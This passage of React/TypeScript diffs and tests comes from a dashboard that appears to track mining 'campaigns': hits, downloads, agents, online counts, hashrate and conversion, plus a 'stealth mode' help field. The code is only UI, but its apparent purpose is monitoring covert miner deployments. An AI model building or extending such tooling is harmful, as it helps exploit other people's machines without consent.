import type { WarRoomCampaign } from '../../types';
import {
buildConstellationGraph,
initNodePositions,
tickForceLayout,
type ConstellationNode,
} from '../../help/campaignConstellations';
interface CampaignConstellationsProps {
campaigns: WarRoomCampaign[];
onSelectCampaign?: (campaign: string) => void;
}
const SIM_TICKS = 180;
const HEIGHT = 360;
export default function CampaignConstellations({ campaigns, onSelectCampaign }: CampaignConstellationsProps) {
const wrapRef = useRef<HTMLDivElement>(null);
const [width, setWidth] = useState(640);
const [hovered, setHovered] = useState<string | null>(null);
const nodesRef = useRef<ConstellationNode[]>([]);
const edgesRef = useRef(buildConstellationGraph(campaigns).edges);
const [, bump] = useState(0);
const graphKey = useMemo(
() => campaigns.map((c) => `${c.campaign}:${c.hits}:${c.online}:${c.conversion_pct}:${(c.pins ?? []).join(',')}`).join('|'),
[campaigns],
);
useEffect(() => {
const el = wrapRef.current;
if (!el) return;
const ro = new ResizeObserver((entries) => {
const w = entries[0]?.contentRect.width;
if (w && w > 0) setWidth(Math.floor(w));
});
ro.observe(el);
setWidth(Math.floor(el.clientWidth) || 640);
return () => ro.disconnect();
}, []);
useEffect(() => {
const { nodes, edges } = buildConstellationGraph(campaigns);
initNodePositions(nodes, width, HEIGHT);
edgesRef.current = edges;
nodesRef.current = nodes;
let frame = 0;
let alpha = 1;
const step = () => {
if (frame < SIM_TICKS) {
tickForceLayout(nodesRef.current, edgesRef.current, width, HEIGHT, alpha);
alpha *= 0.96;
frame++;
bump((n) => n + 1);
requestAnimationFrame(step);
}
};
const id = requestAnimationFrame(step);
return () => cancelAnimationFrame(id);
}, [graphKey, width]);
const handleClick = useCallback(
(id: string) => {
onSelectCampaign?.(id);
},
[onSelectCampaign],
);
const nodes = nodesRef.current;
const edges = edgesRef.current;
const nodeById = new Map(nodes.map((n) => [n.id, n]));
return (
<div className="war-room-constellations" ref={wrapRef}>
<svg
className="war-room-constellations-svg"
viewBox={`0 0 ${width} ${HEIGHT}`}
role="img"
aria-label="Campaign constellation force graph"
>
<defs>
<radialGradient id="constellation-bg" cx="50%" cy="45%" r="65%">
<stop offset="0%" stopColor="rgba(61, 214, 198, 0.06)" />
<stop offset="100%" stopColor="rgba(8, 10, 18, 0)" />
</radialGradient>
<filter id="constellation-glow">
<feGaussianBlur stdDeviation="3" result="blur" />
<feMerge>
<feMergeNode in="blur" />
<feMergeNode in="SourceGraphic" />
</feMerge>
</filter>
</defs>
<rect width={width} height={HEIGHT} fill="url(#constellation-bg)" rx="8" />
{edges.map((e) => {
const a = nodeById.get(e.source);
const b = nodeById.get(e.target);
if (!a || !b) return null;
const lit = hovered === e.source || hovered === e.target;
return (
<line
key={`${e.source}-${e.target}`}
x1={a.x}
y1={a.y}
x2={b.x}
y2={b.y}
className={`war-room-constellation-edge${lit ? ' war-room-constellation-edge--lit' : ''}`}
strokeWidth={lit ? 1.5 : 1}
/>
);
})}
{nodes.map((n) => {
const lit = hovered === n.id;
const opacity = n.brightness;
return (
<g
key={n.id}
className={`war-room-constellation-node${n.pulsing ? ' war-room-constellation-node--pulse' : ''}${lit ? ' war-room-constellation-node--hover' : ''}`}
style={{ cursor: 'pointer' }}
onMouseEnter={() => setHovered(n.id)}
onMouseLeave={() => setHovered(null)}
onClick={() => handleClick(n.id)}
onKeyDown={(ev) => {
if (ev.key === 'Enter' || ev.key === ' ') {
ev.preventDefault();
handleClick(n.id);
}
}}
role="button"
tabIndex={0}
aria-label={`${n.campaign}: ${n.hits} hits, ${n.online} online, ${n.conversionPct}% conversion`}
>
{n.pulsing ? (
<circle
cx={n.x}
cy={n.y}
r={n.radius + 6}
className="war-room-constellation-halo"
fill={n.color}
/>
) : null}
<circle
cx={n.x}
cy={n.y}
r={n.radius}
fill={n.color}
fillOpacity={opacity}
stroke={lit ? '#e8eaef' : 'rgba(61, 214, 198, 0.35)'}
strokeWidth={lit ? 2 : 1}
filter={n.pulsing || lit ? 'url(#constellation-glow)' : undefined}
/>
<text
x={n.x}
y={n.y + n.radius + 14}
textAnchor="middle"
className="war-room-constellation-label"
>
{n.campaign.length > 14 ? `${n.campaign.slice(0, 12)}` : n.campaign}
</text>
</g>
);
})}
</svg>
<p className="war-room-constellation-legend form-hint">
Node size = hits · brightness = online · color = conversion · edges = shared pin/build.
Click a star to jump to its funnel card.
</p>
</div>
);
}

View File

@@ -0,0 +1,178 @@
import { useEffect, useState, type CSSProperties } from 'react';
import type { WarRoomCampaign } from '../../types';
import {
detectFunnelLeaks,
formatHashrate,
funnelPipeWidth,
funnelStages,
sparklineBarHeight,
sparklineMax,
staggerDelayMs,
} from '../../help/warRoom';
import WarRoomOdometer from './WarRoomOdometer';
interface WarRoomFunnelBoardProps {
campaigns: WarRoomCampaign[];
days: number;
refreshKey?: string;
highlightCampaign?: string | null;
}
export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highlightCampaign }: WarRoomFunnelBoardProps) {
const [alive, setAlive] = useState(false);
useEffect(() => {
if (!refreshKey) return;
setAlive(true);
const t = window.setTimeout(() => setAlive(false), 900);
return () => window.clearTimeout(t);
}, [refreshKey]);
return (
<div
className={`war-room-funnel-board${alive ? ' war-room-funnel-board--alive' : ''}`}
role="list"
>
{campaigns.map((c, cardIndex) => {
const stages = funnelStages(c);
const leaks = detectFunnelLeaks(c);
const primaryLeak = leaks[0];
const max = sparklineMax(c.daily_hits);
const hits = c.hits ?? 0;
return (
<article
key={c.campaign}
id={`war-room-campaign-${c.campaign}`}
className={`war-room-funnel-card${highlightCampaign === c.campaign ? ' war-room-funnel-card--highlighted' : ''}`}
role="listitem"
style={{ '--card-stagger': `${cardIndex * 0.12}s` } as CSSProperties}
>
<header className="war-room-funnel-card-head">
<div>
<code className="war-room-funnel-slug">{c.campaign}</code>
{c.last_activity ? (
<span className="war-room-funnel-meta">
last {new Date(c.last_activity).toLocaleDateString()}
</span>
) : null}
</div>
<div className="war-room-funnel-head-stats">
<WarRoomOdometer
value={c.conversion_pct}
format={(n) => n.toFixed(1)}
suffix="% overall"
staggerMs={staggerDelayMs(cardIndex, 0)}
className="war-room-funnel-overall"
showDelta
/>
{c.online > 0 ? (
<WarRoomOdometer
value={c.online}
suffix=" online"
staggerMs={staggerDelayMs(cardIndex, 1)}
className="war-room-funnel-online"
/>
) : null}
</div>
</header>
<div className="war-room-funnel-pipeline" aria-label="Campaign funnel">
{stages.map((stage, idx) => (
<div key={stage.id} className="war-room-funnel-stage">
<div className="war-room-funnel-node">
<span className="war-room-funnel-node-label">{stage.label}</span>
<span className="war-room-funnel-node-value">
{stage.id === 'hashrate' ? (
<WarRoomOdometer
value={stage.value}
format={(n) => formatHashrate(n)}
staggerMs={staggerDelayMs(cardIndex, idx + 2)}
showDelta
/>
) : (
<WarRoomOdometer
value={stage.value}
staggerMs={staggerDelayMs(cardIndex, idx + 2)}
showDelta
/>
)}
</span>
{stage.rateFromPrev != null ? (
<span
className={`war-room-funnel-node-rate${
stage.rateFromPrev < 15 && stage.value > 0 ? ' war-room-funnel-node-rate--low' : ''
}`}
>
<WarRoomOdometer
value={stage.rateFromPrev}
format={(n) => n.toFixed(1)}
suffix="%"
staggerMs={staggerDelayMs(cardIndex, idx + 2, 55)}
/>
</span>
) : null}
</div>
<div
className="war-room-funnel-pipe war-room-funnel-pipe--flowing"
style={{
'--pipe-fill': `${funnelPipeWidth(
stage.id === 'hashrate' ? stage.value : stage.value,
hits,
stage.id === 'hashrate',
)}%`,
'--pipe-stagger': `${idx * 0.18}s`,
} as CSSProperties}
>
<span className="war-room-funnel-pipe-fill" />
<span className="war-room-funnel-pipe-shimmer" aria-hidden />
</div>
{idx < stages.length - 1 ? (
<span className="war-room-funnel-arrow" aria-hidden>
</span>
) : null}
</div>
))}
</div>
<footer className="war-room-funnel-card-foot">
<div className="war-room-sparkline war-room-sparkline--card" title={c.daily_hits.join(', ')}>
<span className="war-room-sparkline-label">{days}d hits</span>
{c.daily_hits.map((v, i) => (
<span key={i} style={{ height: `${sparklineBarHeight(v, max)}%` }} />
))}
</div>
<div className="war-room-funnel-hash" title="Fleet hashrate">
<WarRoomOdometer
value={c.hashrate}
format={(n) => formatHashrate(n)}
staggerMs={staggerDelayMs(cardIndex, 8)}
showDelta
/>
</div>
</footer>
{primaryLeak ? (
<div
className={`war-room-leak war-room-leak--${primaryLeak.severity}`}
role="status"
>
<span className="war-room-leak-badge">{primaryLeak.severity === 'critical' ? 'LEAK' : 'Drip'}</span>
<div>
<p className="war-room-leak-msg">{primaryLeak.message}</p>
<p className="war-room-leak-action">{primaryLeak.action}</p>
</div>
</div>
) : (
<div className="war-room-leak war-room-leak--clear" role="status">
<span className="war-room-leak-badge">FLOW</span>
<p className="war-room-leak-msg">Funnel flowing no major leaks detected.</p>
</div>
)}
</article>
);
})}
</div>
);
}

View File

@@ -0,0 +1,88 @@
import { useEffect, useRef, useState } from 'react';
import { formatOdometerDelta, odometerDurationMs } from '../../help/warRoom';
export interface WarRoomOdometerProps {
value: number;
format?: (n: number) => string;
staggerMs?: number;
className?: string;
suffix?: string;
showDelta?: boolean;
}
const defaultFormat = (n: number) => String(Math.round(n));
export default function WarRoomOdometer({
value,
format = defaultFormat,
staggerMs = 0,
className = '',
suffix = '',
showDelta = false,
}: WarRoomOdometerProps) {
const [display, setDisplay] = useState(value);
const [pulsing, setPulsing] = useState(false);
const [deltaLabel, setDeltaLabel] = useState<string | null>(null);
const prevRef = useRef(value);
const rafRef = useRef<number>();
const pulseTimerRef = useRef<ReturnType<typeof setTimeout>>();
useEffect(() => {
const prev = prevRef.current;
if (prev === value) return;
const delta = formatOdometerDelta(prev, value);
if (showDelta && delta) setDeltaLabel(delta);
const startTimer = window.setTimeout(() => {
const start = prev;
const end = value;
const duration = odometerDurationMs(end - start);
const startTime = performance.now();
setPulsing(true);
if (pulseTimerRef.current) clearTimeout(pulseTimerRef.current);
const tick = (now: number) => {
const t = Math.min(1, (now - startTime) / duration);
setDisplay(start + (end - start) * (1 - (1 - t) ** 3));
if (t < 1) {
rafRef.current = requestAnimationFrame(tick);
} else {
setDisplay(end);
prevRef.current = end;
pulseTimerRef.current = setTimeout(() => {
setPulsing(false);
setDeltaLabel(null);
}, 700);
}
};
rafRef.current = requestAnimationFrame(tick);
}, staggerMs);
return () => {
window.clearTimeout(startTimer);
if (rafRef.current) cancelAnimationFrame(rafRef.current);
if (pulseTimerRef.current) clearTimeout(pulseTimerRef.current);
};
}, [value, staggerMs, showDelta]);
return (
<span
className={[
'war-room-odometer',
pulsing ? 'war-room-odometer--pulse' : '',
className,
]
.filter(Boolean)
.join(' ')}
>
<span className="war-room-odometer-value">{format(display)}{suffix}</span>
{deltaLabel ? (
<span className="war-room-odometer-delta" aria-hidden>
{deltaLabel}
</span>
) : null}
</span>
);
}

View File

@@ -159,8 +159,23 @@ describe('HelpTip', () => {
});
});
it('FieldHint export is deprecated no-op', () => {
const { container } = render(<FieldHint field="calibrate_wallet" />);
it('shows Read more link in popup when doc anchor exists', async () => {
render(<HelpTip field="stealth_mode" />);
await userEvent.setup().hover(screen.getByRole('button'));
await waitFor(() => {
const link = screen.getByRole('link', { name: /Read more/i });
expect(link).toHaveAttribute('href', '/docs/#forge-stealth');
});
});
it('FieldHint renders doc link when anchor exists', () => {
render(<FieldHint field="stealth_mode" />);
const link = screen.getByRole('link', { name: /Read more/i });
expect(link).toHaveAttribute('href', '/docs/#forge-stealth');
});
it('FieldHint returns null when no anchor', () => {
const { container } = render(<FieldHint field="pool_host" />);
expect(container.firstChild).toBeNull();
});
});

View File

@@ -9,8 +9,12 @@ type AmbientMusicContextValue = {
enabled: boolean;
playing: boolean;
volume: number;
pageIntensity: number;
modalDuckActive: boolean;
setEnabled: (v: boolean) => void;
setVolume: (v: number) => void;
setPageIntensity: (v: number) => void;
registerModalDuck: () => () => void;
togglePlay: () => void;
};
@@ -20,6 +24,8 @@ export function AmbientMusicProvider({ children }: { children: React.ReactNode }
const [enabled, setEnabledState] = useState(loadBgmEnabled);
const [playing, setPlaying] = useState(() => ambientMusicPlayer.isPlaying());
const [volume, setVolumeState] = useState(loadBgmVolume);
const [pageIntensity, setPageIntensityState] = useState(() => ambientMusicPlayer.getPageIntensity());
const [modalDuckActive, setModalDuckActive] = useState(() => ambientMusicPlayer.isModalDuckActive());
const setEnabled = useCallback((v: boolean) => {
ambientMusicPlayer.setEnabled(v);
@@ -32,6 +38,20 @@ export function AmbientMusicProvider({ children }: { children: React.ReactNode }
setVolumeState(ambientMusicPlayer.getVolume());
}, []);
const setPageIntensity = useCallback((v: number) => {
ambientMusicPlayer.setPageIntensity(v);
setPageIntensityState(ambientMusicPlayer.getPageIntensity());
}, []);
const registerModalDuck = useCallback(() => {
setModalDuckActive(true);
const unregister = ambientMusicPlayer.registerModalDuck();
return () => {
unregister();
setModalDuckActive(ambientMusicPlayer.isModalDuckActive());
};
}, []);
const togglePlay = useCallback(() => {
ambientMusicPlayer.unlock();
ambientMusicPlayer.togglePlay();
@@ -59,8 +79,19 @@ export function AmbientMusicProvider({ children }: { children: React.ReactNode }
}, []);
const value = useMemo(
() => ({ enabled, playing, volume, setEnabled, setVolume, togglePlay }),
[enabled, playing, volume, setEnabled, setVolume, togglePlay]
() => ({
enabled,
playing,
volume,
pageIntensity,
modalDuckActive,
setEnabled,
setVolume,
setPageIntensity,
registerModalDuck,
togglePlay,
}),
[enabled, playing, volume, pageIntensity, modalDuckActive, setEnabled, setVolume, setPageIntensity, registerModalDuck, togglePlay]
);
return <AmbientMusicContext.Provider value={value}>{children}</AmbientMusicContext.Provider>;
@@ -70,8 +101,12 @@ const noopAmbient: AmbientMusicContextValue = {
enabled: false,
playing: false,
volume: 0,
pageIntensity: 1,
modalDuckActive: false,
setEnabled: () => {},
setVolume: () => {},
setPageIntensity: () => {},
registerModalDuck: () => () => {},
togglePlay: () => {},
};
@@ -79,3 +114,12 @@ export function useAmbientMusic() {
const ctx = useContext(AmbientMusicContext);
return ctx ?? noopAmbient;
}
/** Duck ambient music while `open` is true; swells back when closed. */
export function useModalAmbientDuck(open: boolean) {
const { registerModalDuck } = useAmbientMusic();
useEffect(() => {
if (!open) return;
return registerModalDuck();
}, [open, registerModalDuck]);
}

View File

@@ -0,0 +1,138 @@
import React, { createContext, useCallback, useContext, useEffect, useMemo, useReducer, useRef } from 'react';
import { useLocation } from 'react-router-dom';
import { getStoredUsername } from '../api/auth';
import { useWebSocketContext } from './WebSocketContext';
import {
comradesOnPage,
initialPresenceState,
onlineComrades,
reducePresence,
type ComradePresence,
type NotesTyping,
} from './presenceReducer';
interface PresenceContextValue {
selfUser: string | null;
comrades: ComradePresence[];
othersOnline: boolean;
comradesHere: (page: string) => ComradePresence[];
notesTyping: NotesTyping | null;
sendNotesTyping: (active: boolean) => void;
}
const PresenceContext = createContext<PresenceContextValue>({
selfUser: null,
comrades: [],
othersOnline: false,
comradesHere: () => [],
notesTyping: null,
sendNotesTyping: () => {},
});
const TYPING_STALE_MS = 4000;
export function PresenceProvider({ children }: { children: React.ReactNode }) {
const { isConnected, latestMessage, sendDashboardMessage } = useWebSocketContext();
const location = useLocation();
const [state, dispatch] = useReducer(reducePresence, initialPresenceState);
const lastPageRef = useRef('');
useEffect(() => {
dispatch({ type: 'set_self', user: getStoredUsername() });
const onAuth = () => dispatch({ type: 'set_self', user: getStoredUsername() });
window.addEventListener('aetherforge-auth', onAuth);
return () => window.removeEventListener('aetherforge-auth', onAuth);
}, []);
useEffect(() => {
if (!latestMessage) return;
switch (latestMessage.type) {
case 'presence_snapshot': {
const p = latestMessage.payload as { comrades?: ComradePresence[] };
if (Array.isArray(p?.comrades)) {
dispatch({ type: 'presence_snapshot', comrades: p.comrades });
}
break;
}
case 'presence_update': {
const p = latestMessage.payload as {
user?: string;
page?: string;
online?: boolean;
ts?: number;
};
if (p?.user) {
dispatch({
type: 'presence_update',
user: p.user,
page: p.page ?? '/dashboard',
online: p.online !== false,
ts: p.ts ?? Date.now(),
});
}
break;
}
case 'notes_typing': {
const p = latestMessage.payload as { user?: string; active?: boolean; ts?: number };
if (p?.user) {
dispatch({
type: 'notes_typing',
user: p.user,
active: !!p.active,
ts: p.ts ?? Date.now(),
});
}
break;
}
default:
break;
}
}, [latestMessage]);
useEffect(() => {
if (!isConnected) {
lastPageRef.current = '';
return;
}
const page = location.pathname || '/dashboard';
if (page === lastPageRef.current) return;
lastPageRef.current = page;
sendDashboardMessage('presence_page', { page });
}, [isConnected, location.pathname, sendDashboardMessage]);
useEffect(() => {
if (!state.notesTyping?.active) return;
const age = Date.now() - state.notesTyping.ts;
const delay = Math.max(0, TYPING_STALE_MS - age);
const t = setTimeout(() => dispatch({ type: 'clear_notes_typing' }), delay);
return () => clearTimeout(t);
}, [state.notesTyping]);
const sendNotesTyping = useCallback(
(active: boolean) => {
sendDashboardMessage('notes_typing', { active });
},
[sendDashboardMessage],
);
const comrades = useMemo(() => onlineComrades(state), [state]);
const comradesHere = useCallback((page: string) => comradesOnPage(state, page), [state]);
const value = useMemo(
() => ({
selfUser: state.selfUser,
comrades,
othersOnline: comrades.length > 0,
comradesHere,
notesTyping: state.notesTyping,
sendNotesTyping,
}),
[state.selfUser, comrades, comradesHere, state.notesTyping, sendNotesTyping],
);
return <PresenceContext.Provider value={value}>{children}</PresenceContext.Provider>;
}
export function usePresence(): PresenceContextValue {
return useContext(PresenceContext);
}

View File

@@ -32,6 +32,10 @@ export const SFX_INTERACTIVE_SELECTOR = [
'.pt-agent-card:not([style*="cursor: not-allowed"])',
'.endpoint-chip:not(:disabled)',
'.fleet-group-chip:not(:disabled)',
'.forge-mission-wizard-pill:not(:disabled)',
'.forge-mission-op-chip:not(:disabled)',
'.operator-interactive',
'.operator-interactive-btn',
].join(', ');
/** Elements that emit hover highlight SFX (debounced). */
@@ -39,6 +43,9 @@ export const HOVER_INTERACTIVE_SELECTOR = [
SFX_INTERACTIVE_SELECTOR,
'.neon-card',
'.card',
'.operator-deck-card',
'.operator-interactive',
'.operator-interactive-btn',
'a[href]:not([data-sfx="off"])',
].join(', ');

View File

@@ -27,6 +27,7 @@ describe('WebSocketContext', () => {
agentLogs: { 'agent-001-uuid': 'log line' },
commandResults: [{ agent_id: 'a1', action: 'pause', success: true, _seq: 1 }],
latestMessage: null,
sendDashboardMessage: () => {},
};
const wrapper = ({ children }: { children: React.ReactNode }) => (

View File

@@ -1,6 +1,6 @@
import React, { createContext, useContext } from 'react';
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
import type { WSCommandResult } from '../types/ws';
import type { WSCommandResult, WSPolicyAck } from '../types/ws';
/**
* WSCommandResult with a monotonic sequence number attached by the provider.
@@ -10,6 +10,8 @@ import type { WSCommandResult } from '../types/ws';
*/
export type SeqCommandResult = WSCommandResult & { _seq: number };
export type SeqPolicyAck = WSPolicyAck & { _seq: number };
export interface WebSocketContextValue {
isConnected: boolean;
agents: Agent[];
@@ -19,8 +21,10 @@ export interface WebSocketContextValue {
aiActivity: AIActivityEntry[];
agentLogs: Record<string, string>;
commandResults: SeqCommandResult[];
policyAcks: SeqPolicyAck[];
/** @deprecated Use commandResults instead. */
latestMessage: WSMessage | null;
sendDashboardMessage: (type: string, payload: Record<string, unknown>) => void;
}
export const WebSocketContext = createContext<WebSocketContextValue>({
@@ -32,7 +36,9 @@ export const WebSocketContext = createContext<WebSocketContextValue>({
aiActivity: [],
agentLogs: {},
commandResults: [],
policyAcks: [],
latestMessage: null,
sendDashboardMessage: () => {},
});
export function useWebSocketContext(): WebSocketContextValue {

View File

@@ -5,10 +5,12 @@ import type {
WSStatsUpdate,
WSCommandResult,
WSAgentLog,
WSPolicyAck,
} from '../types/ws';
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
import { WebSocketContext } from './WebSocketContext';
import type { SeqCommandResult } from './WebSocketContext';
import type { SeqPolicyAck } from './WebSocketContext';
import { authHeaders, getStoredAuth } from '../api/auth';
/**
@@ -28,9 +30,17 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
const [aiActivity, setAiActivity] = useState<AIActivityEntry[]>([]);
const [agentLogs, setAgentLogs] = useState<Record<string, string>>({});
const [commandResults, setCommandResults] = useState<SeqCommandResult[]>([]);
const [policyAcks, setPolicyAcks] = useState<SeqPolicyAck[]>([]);
const [latestMessage, setLatestMessage] = useState<WSMessage | null>(null);
// Monotonic counter so consumers can detect new entries even after the ring buffer trims old ones
const cmdSeqRef = useRef(0);
const policyAckSeqRef = useRef(0);
const sendDashboardMessage = useCallback((type: string, payload: Record<string, unknown>) => {
const ws = wsRef.current;
if (!ws || ws.readyState !== WebSocket.OPEN) return;
ws.send(JSON.stringify({ type, payload }));
}, []);
const connect = useCallback(() => {
if (unmounted.current) return;
@@ -231,11 +241,35 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
}
break;
}
case 'policy_ack': {
const ack = msg.payload as WSPolicyAck;
policyAckSeqRef.current += 1;
setPolicyAcks((prev) => [...prev.slice(-49), { ...ack, _seq: policyAckSeqRef.current }]);
break;
}
case 'agent_log': {
const { agent_id, content } = msg.payload as WSAgentLog;
if (agent_id) setAgentLogs((prev) => ({ ...prev, [agent_id]: content }));
break;
}
case 'agent_capabilities': {
const { agent_id, capabilities } = msg.payload as {
agent_id: string;
capabilities: Agent['capabilities'];
};
if (!agent_id || !capabilities) break;
setAgents((prev) =>
prev.map((a) =>
a.id === agent_id
? {
...a,
capabilities: { ...a.capabilities, ...capabilities },
}
: a
)
);
break;
}
}
} catch (err) {
console.error('Failed to parse WebSocket message:', err);
@@ -263,7 +297,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
return (
<WebSocketContext.Provider value={{
isConnected, agents, recentShares, fleetAlerts, poolStatus,
aiActivity, agentLogs, commandResults, latestMessage,
aiActivity, agentLogs, commandResults, policyAcks, latestMessage, sendDashboardMessage,
}}>
{children}
</WebSocketContext.Provider>

View File

@@ -0,0 +1,144 @@
import { describe, expect, it } from 'vitest';
import {
comradesOnPage,
initialPresenceState,
onlineComrades,
reducePresence,
} from './presenceReducer';
describe('reducePresence', () => {
it('tracks self user and excludes from comrades', () => {
let state = reducePresence(initialPresenceState, { type: 'set_self', user: 'india' });
state = reducePresence(state, {
type: 'presence_update',
user: 'india',
page: '/crucible',
online: true,
ts: 1,
});
state = reducePresence(state, {
type: 'presence_update',
user: 'comrade',
page: '/emberwake',
online: true,
ts: 2,
});
expect(onlineComrades(state).map((c) => c.user)).toEqual(['comrade']);
expect(state.comrades.comrade.page).toBe('/emberwake');
});
it('hydrates from presence_snapshot', () => {
const state = reducePresence(
{ ...initialPresenceState, selfUser: 'india' },
{
type: 'presence_snapshot',
comrades: [
{ user: 'india', page: '/dashboard', online: true, ts: 1 },
{ user: 'comrade', page: '/crucible', online: true, ts: 2 },
],
},
);
expect(onlineComrades(state)).toHaveLength(1);
expect(comradesOnPage(state, '/crucible')[0]?.user).toBe('comrade');
});
it('removes comrade on offline presence_update', () => {
let state = reducePresence(initialPresenceState, {
type: 'presence_update',
user: 'comrade',
page: '/forge',
online: true,
ts: 1,
});
state = reducePresence(state, {
type: 'presence_update',
user: 'comrade',
page: '',
online: false,
ts: 2,
});
expect(onlineComrades(state)).toHaveLength(0);
});
it('tracks notes_typing from other users only', () => {
let state = reducePresence(initialPresenceState, { type: 'set_self', user: 'india' });
state = reducePresence(state, {
type: 'notes_typing',
user: 'comrade',
active: true,
ts: 100,
});
expect(state.notesTyping?.user).toBe('comrade');
state = reducePresence(state, {
type: 'notes_typing',
user: 'india',
active: true,
ts: 101,
});
expect(state.notesTyping?.user).toBe('comrade');
state = reducePresence(state, {
type: 'notes_typing',
user: 'comrade',
active: false,
ts: 102,
});
expect(state.notesTyping).toBeNull();
});
it('clears notes_typing via clear_notes_typing', () => {
let state = reducePresence(initialPresenceState, {
type: 'notes_typing',
user: 'comrade',
active: true,
ts: 1,
});
state = reducePresence(state, { type: 'clear_notes_typing' });
expect(state.notesTyping).toBeNull();
});
it('replaces stale notes_typing when another user types', () => {
let state = reducePresence(initialPresenceState, {
type: 'notes_typing',
user: 'alpha',
active: true,
ts: 1,
});
state = reducePresence(state, {
type: 'notes_typing',
user: 'bravo',
active: true,
ts: 2,
});
expect(state.notesTyping?.user).toBe('bravo');
});
it('normalizes page paths for comradesOnPage', () => {
let state = reducePresence(initialPresenceState, {
type: 'presence_update',
user: 'comrade',
page: 'crucible',
online: true,
ts: 1,
});
expect(comradesOnPage(state, '/crucible')).toHaveLength(1);
expect(comradesOnPage(state, 'crucible')).toHaveLength(1);
expect(comradesOnPage(state, '/emberwake')).toHaveLength(0);
});
it('snapshot skips offline comrades and self', () => {
const state = reducePresence(
{ ...initialPresenceState, selfUser: 'india' },
{
type: 'presence_snapshot',
comrades: [
{ user: 'india', page: '/dashboard', online: true, ts: 1 },
{ user: 'ghost', page: '/forge', online: false, ts: 2 },
{ user: 'comrade', page: '/crucible', online: true, ts: 3 },
],
},
);
expect(onlineComrades(state).map((c) => c.user)).toEqual(['comrade']);
});
});

View File

@@ -0,0 +1,92 @@
export interface ComradePresence {
user: string;
page: string;
online: boolean;
ts: number;
}
export interface NotesTyping {
user: string;
active: boolean;
ts: number;
}
export interface PresenceState {
comrades: Record<string, ComradePresence>;
notesTyping: NotesTyping | null;
selfUser: string | null;
}
export const initialPresenceState: PresenceState = {
comrades: {},
notesTyping: null,
selfUser: null,
};
export type PresenceAction =
| { type: 'set_self'; user: string | null }
| { type: 'presence_snapshot'; comrades: ComradePresence[] }
| { type: 'presence_update'; user: string; page: string; online: boolean; ts: number }
| { type: 'notes_typing'; user: string; active: boolean; ts: number }
| { type: 'clear_notes_typing' };
export function reducePresence(state: PresenceState, action: PresenceAction): PresenceState {
switch (action.type) {
case 'set_self':
return { ...state, selfUser: action.user };
case 'presence_snapshot': {
const comrades: Record<string, ComradePresence> = {};
for (const c of action.comrades) {
if (!c.user || !c.online) continue;
if (state.selfUser && c.user === state.selfUser) continue;
comrades[c.user] = { ...c, online: true };
}
return { ...state, comrades };
}
case 'presence_update': {
const next = { ...state.comrades };
if (!action.online || (state.selfUser && action.user === state.selfUser)) {
delete next[action.user];
return { ...state, comrades: next };
}
next[action.user] = {
user: action.user,
page: action.page || '/dashboard',
online: true,
ts: action.ts,
};
return { ...state, comrades: next };
}
case 'notes_typing': {
if (state.selfUser && action.user === state.selfUser) {
return state;
}
if (!action.active) {
if (state.notesTyping?.user === action.user) {
return { ...state, notesTyping: null };
}
return state;
}
return {
...state,
notesTyping: { user: action.user, active: true, ts: action.ts },
};
}
case 'clear_notes_typing':
return { ...state, notesTyping: null };
default:
return state;
}
}
export function onlineComrades(state: PresenceState): ComradePresence[] {
return Object.values(state.comrades).filter((c) => c.online);
}
export function comradesOnPage(state: PresenceState, page: string): ComradePresence[] {
const normalized = page.startsWith('/') ? page : `/${page}`;
return onlineComrades(state).filter((c) => {
const p = c.page.startsWith('/') ? c.page : `/${c.page}`;
return p === normalized;
});
}

View File

@@ -0,0 +1,112 @@
import { describe, it, expect } from 'vitest';
import type { WarRoomCampaign } from './warRoom';
import {
buildConstellationEdges,
buildConstellationGraph,
conversionColor,
initNodePositions,
nodeBrightness,
nodeRadius,
settleForceLayout,
tickForceLayout,
} from './campaignConstellations';
function campaign(partial: Partial<WarRoomCampaign> & Pick<WarRoomCampaign, 'campaign'>): WarRoomCampaign {
return {
hits: 0,
downloads: 0,
agents: 0,
online: 0,
hashrate: 0,
conversion_pct: 0,
daily_hits: [],
...partial,
};
}
describe('campaignConstellations helpers', () => {
it('scales node radius by hits', () => {
expect(nodeRadius(0, 100)).toBe(10);
expect(nodeRadius(100, 100)).toBeGreaterThan(nodeRadius(25, 100));
expect(nodeRadius(100, 100)).toBeLessThanOrEqual(36);
});
it('scales brightness from online agents', () => {
expect(nodeBrightness(0, 5)).toBe(0.35);
expect(nodeBrightness(5, 5)).toBe(1);
expect(nodeBrightness(2, 4)).toBeCloseTo(0.675, 2);
});
it('maps conversion to aether gradient colors', () => {
expect(conversionColor(0)).toMatch(/^rgb\(/);
expect(conversionColor(100)).toMatch(/^rgb\(/);
expect(conversionColor(0)).not.toBe(conversionColor(100));
});
it('links campaigns sharing pins', () => {
const edges = buildConstellationEdges([
{ campaign: 'a', pins: ['build-1', 'build-2'] },
{ campaign: 'b', pins: ['build-2'] },
{ campaign: 'c', pins: ['build-9'] },
]);
expect(edges).toHaveLength(1);
expect(edges[0].source).toBe('a');
expect(edges[0].target).toBe('b');
expect(edges[0].sharedPins).toEqual(['build-2']);
});
it('builds graph with pulsing flag when online', () => {
const graph = buildConstellationGraph([
campaign({ campaign: 'live', hits: 40, online: 2, conversion_pct: 12, pins: ['p1'] }),
campaign({ campaign: 'cold', hits: 10, online: 0, conversion_pct: 0 }),
]);
expect(graph.nodes).toHaveLength(2);
expect(graph.nodes.find((n) => n.campaign === 'live')?.pulsing).toBe(true);
expect(graph.nodes.find((n) => n.campaign === 'cold')?.pulsing).toBe(false);
});
it('initializes nodes inside viewport', () => {
const graph = buildConstellationGraph([
campaign({ campaign: 'x', hits: 5 }),
campaign({ campaign: 'y', hits: 8 }),
]);
initNodePositions(graph.nodes, 400, 300);
for (const n of graph.nodes) {
expect(n.x).toBeGreaterThan(0);
expect(n.x).toBeLessThan(400);
expect(n.y).toBeGreaterThan(0);
expect(n.y).toBeLessThan(300);
}
});
it('settles force layout without NaN coordinates', () => {
const graph = buildConstellationGraph([
campaign({ campaign: 'a', hits: 50, pins: ['pin-a'] }),
campaign({ campaign: 'b', hits: 30, pins: ['pin-a'] }),
campaign({ campaign: 'c', hits: 10, pins: ['pin-z'] }),
]);
settleForceLayout(graph.nodes, graph.edges, 480, 320, 80);
for (const n of graph.nodes) {
